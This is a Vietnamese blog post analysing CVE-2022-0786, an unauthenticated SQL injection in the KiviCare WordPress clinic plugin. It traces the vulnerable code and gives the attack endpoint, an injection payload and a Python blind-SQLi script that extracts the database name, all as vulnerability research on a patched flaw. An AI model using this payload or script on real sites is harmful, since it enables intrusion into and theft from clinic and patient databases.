[CVE-2022-0786] WordPress KiviCare < 2.3.9 Unauthenticated SQLi
![[CVE-2022-0786] WordPress KiviCare < 2.3.9 Unauthenticated SQLi](/_next/image?url=https%3A%2F%2Fcdn.hashnode.com%2Fres%2Fhashnode%2Fimage%2Fupload%2Fv1679237018713%2F6a335358-459d-4363-9808-bf7af6b3fb2c.png&w=3840&q=75)
KiviCare là một plugin quản lý phòng khám và bệnh nhân dành cho WordPress. Plugin này còn khá mới nên chưa phổ biến và lượng người dùng không nhiều (~1.000 lượt active).

Hôm 23/5/2022 vừa rồi một researcher đã tìm thấy lỗ hổng Unauthenticated SQLi trong plugin này với điểm CVSS đạt 8.3

Phân tích lỗ hổng
Trang wpscan có nói rằng:
The plugin does not sanitise and escape some parameters before using them in SQL statements via the ajax_post AJAX action with the get_doctor_details route
Vậy là lỗ hổng nằm ở get_doctor_details route, tìm trong source code của plugin:
'get_doctor_details' => [ 'method' => 'get', 'action' => 'KCBookAppointmentWidgetController@getDoctors' , 'nonce' => 0 ],
Route này sẽ invoke function getDoctors tại KCBookAppointmentWidgetController, function này đầu tiên sẽ kiểm tra parameter clinic_id:
public function getDoctors () {
$request_data = $this->request->getInputs();
...
$request_data['clinic_id'] = json_decode( stripslashes( sanitize_text_field($request_data['clinic_id'])), true);
if(isset($request_data['clinic_id']['id']) && !empty($request_data['clinic_id']['id']) ){
...
}
...
}
→ Parameter clinic_id không cần phải có giá trị hợp lệ nhưng phải ở dạng JSON và phải có key id ví dụ như:
clinic_id = {"id":"1"}
Sau khi clinic_id thỏa mãn điều kiện thì function này sẽ xử lý tiếp như sau:
if(isset($request_data['clinic_id']['id']) && !empty($request_data['clinic_id']['id']) ){
$request_data['clinic_id']['id'] = (int)$request_data['clinic_id']['id'];
$doctor_condition = ' ';
if(!empty($request_data['props_doctor_id']) && !in_array($request_data['props_doctor_id'],[0,'0'])){
if(strpos($request_data['props_doctor_id'], ',') !== false){
if(isKiviCareProActive()){
$doctor_condition = ' AND doctor_id IN ('.$request_data['props_doctor_id'].')';
}else{
$doctor_condition = ' WHERE ID IN ('.$request_data['props_doctor_id'].')';
}
}else{
if(isKiviCareProActive()){
$doctor_condition = ' AND doctor_id ='.(int)$request_data['props_doctor_id'];
}else{
$doctor_condition = ' WHERE ID ='.(int)$request_data['props_doctor_id'];
}
}
}
if(!empty($request_data['props_clinic_id']) && !in_array($request_data['props_clinic_id'],[0,'0'])){
$request_data['clinic_id']['id'] = (int)$request_data['props_clinic_id'];
}
if(isKiviCareProActive()){
$query = "SELECT `doctor_id` FROM {$table_name} WHERE `clinic_id` =".$request_data['clinic_id']['id'].$doctor_condition ;
}else{
$query = "SELECT `ID` FROM {$this->db->prefix}users {$doctor_condition}" ;
}
...
}
Do đã biết trước là SQLi nên mình tập trung vào các câu truy vấn:
if(isKiviCareProActive()){
$query = "SELECT `doctor_id` FROM {$table_name} WHERE `clinic_id` =".$request_data['clinic_id']['id'].$doctor_condition ;
}else{
$query = "SELECT `ID` FROM {$this->db->prefix}users {$doctor_condition}" ;
}
Điều kiện isKiviCareProActive() chắc chắn trả về false vì mình đang cài bản free 😬 Vì thế nên chỉ cần để ý câu truy vấn ở dưới, $doctor_condition có thể là Injection point.
Truy ngược lên trên, bỏ qua các nhánh if(isKiviCareProActive()), mình thấy $doctor_condition được gán giá trị bởi 1 trong 2 cách:
if(strpos($request_data['props_doctor_id'], ',') !== false){
$doctor_condition = ' WHERE ID IN ('.$request_data['props_doctor_id'].')';
}else{
$doctor_condition = ' WHERE ID ='.(int)$request_data['props_doctor_id'];
}
Cả 2 cách này đều dùng cộng string, tuy nhiên cách thứ 2 sử dụng ép kiểu int nên để khai thác được thì phải đi vào nhánh đúng của if. Để vào nhánh này thì cần thỏa mãn strpos($request_data['props_doctor_id'], ',') !== false, điều này có nghĩa là giá trị của props_doctor_id cần phải chứa dấu ,
Xử lý xong câu if này thì mình tiếp tục đi lên trên, câu if ở trên không có gì đặc biệt:
if(!empty($request_data['props_doctor_id']) && !in_array($request_data['props_doctor_id'],[0,'0']))
Đến giờ thì đã có đầy đủ thông tin để xây dựng payload:
Reproduce vulnerable endpoint: Dựa vào thông tin lỗ hổng nằm ở
get_doctor_detailsroute nên mình có thể reproduce vulnerable endpoint bằng cách gửi GET request đến/wp-admin/admin-ajax.phpvớiaction=ajax_getvàroute_name=get_doctor_detailsPayload
Đầu tiên cần có
clinic_idthỏa mãn điều kiện nêu ở trên như:clinic_id={”id”:”1”}Sau đó
props_doctor_idsẽ chứa payload thỏa mãn điều kiện duy nhất là có chứa dấu,:props_doctor_id=1,2)+OR+1=1--+-Lúc này câu truy vấn sẽ trở thành:
SELECT `ID` FROM users WHERE ID IN (1,2) OR 1=1 -- -)
Proof-of-Concept
Sample request/response (với điều kiện đúng):

Sample request/response (với điều kiện sai):

Exploit code:
import requests
db_name = ""
for i in range(1, 10):
for j in range(65, 113):
payload = f"1,2)+OR+SUBSTRING(database(),{i},1)=CHAR({j})--+-"
url = "http://localhost:80/wp-admin/admin-ajax.php?action=ajax_get&route_name=get_doctor_details&clinic_id={\"id\":\"1\",\"label\":\"SAS\"}&props_doctor_id="
r = requests.get(url + payload)
if "true" in r.text:
db_name += chr(j)
print(f"DB_NAME: {db_name}")
break






![[ZVE-2025-3566] Stored XSS to RCE in Manage Engine OpManager](/_next/image?url=https%3A%2F%2Fcdn.hashnode.com%2Fres%2Fhashnode%2Fimage%2Fupload%2Fv1753930975579%2Fb835c2ae-2b5b-425e-9210-09bb506d46c1.png&w=3840&q=75)
